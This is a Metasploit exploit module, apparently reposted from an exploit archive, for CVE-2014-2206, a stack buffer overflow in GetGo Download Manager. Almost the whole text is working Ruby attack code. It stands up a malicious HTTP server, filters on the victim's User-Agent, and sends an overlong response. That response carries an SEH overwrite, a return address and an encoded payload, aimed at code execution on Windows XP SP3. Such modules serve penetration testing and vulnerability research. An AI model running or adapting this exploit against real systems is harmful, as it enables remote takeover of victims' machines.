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GetGo Download Manager HTTP Response Buffer Overflow Exploit
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Security Risk High
]0day-ID
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Platform
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Seh include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'GetGo Download Manager HTTP Response Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow vulnerability in GetGo Download Manager version 4.9.0.1982 and earlier, caused by an overly long HTTP response header. By persuading the victim to download a file from a malicious server, a remote attacker could execute arbitrary code on the system or cause the application to crash. This module has been tested successfully on Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Julien Ahrens', # Vulnerability discovery 'Gabor Seljan' # Metasploit module ], 'References' => [ [ 'EDB', '32132' ], [ 'OSVDB', '103910' ], [ 'CVE', '2014-2206' ], ], 'DefaultOptions' => { 'ExitFunction' => 'process', 'URIPATH' => "/shakeitoff.mp3" }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0a\x0d", 'Space' => 2000 }, 'Targets' => [ [ 'Windows XP SP3', { 'Offset' => 4107, 'Ret' => 0x00280b0b # CALL DWORD PTR SS:[EBP+30] } ] ], 'Privileged' => false, 'DisclosureDate' => 'Mar 09 2014', 'DefaultTarget' => 0)) end # # Handle the HTTP request and return a response. # Code borrowed from: msf/core/exploit/http/server.rb # def start_http(opts={}) # Ensture all dependencies are present before initializing HTTP use_zlib comm = datastore['ListenerComm'] if (comm.to_s == "local") comm = ::Rex::Socket::Comm::Local else comm = nil end # Default the server host / port opts = { 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['HTTPPORT'], 'Comm' => comm }.update(opts) # Start a new HTTP server @http_service = Rex::ServiceManager.start( Rex::Proto::Http::Server, opts['ServerPort'].to_i, opts['ServerHost'], datastore['SSL'], { 'Msf' => framework, 'MsfExploit' => self }, opts['Comm'], datastore['SSLCert'] ) @http_service.server_name = datastore['HTTP::server_name'] # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }.update(opts['Uri'] || {}) proto = (datastore["SSL"] ? "https" : "http") print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end # Add path to resource @service_path = uopts['Path'] @http_service.add_resource(uopts['Path'], uopts) # As long as we have the http_service object, we will keep the server alive while @http_service select(nil, nil, nil, 1) end end # # Kill HTTP/FTP (shut them down and clear resources) # def cleanup super stop_service begin @http_service.remove_resource(datastore['URIPATH']) @http_service.deref @http_service.stop @http_service.close @http_service = nil rescue end end def on_request_uri(cli, request) print_status("Client connected...") unless request['User-Agent'] =~ /GetGo Download Manager 4.0/ print_error("Sending 404 for unknown user-agent") send_not_found(cli) return end sploit = rand_text_alpha(target['Offset']) sploit << "\x90\x90\xEB\x06" sploit << [target.ret].pack('V') sploit << payload.encoded print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...") resp = create_response(200, sploit) resp.body = "" cli.send_response(resp) close_client(cli) end end # 0day.today [2024-09-28] #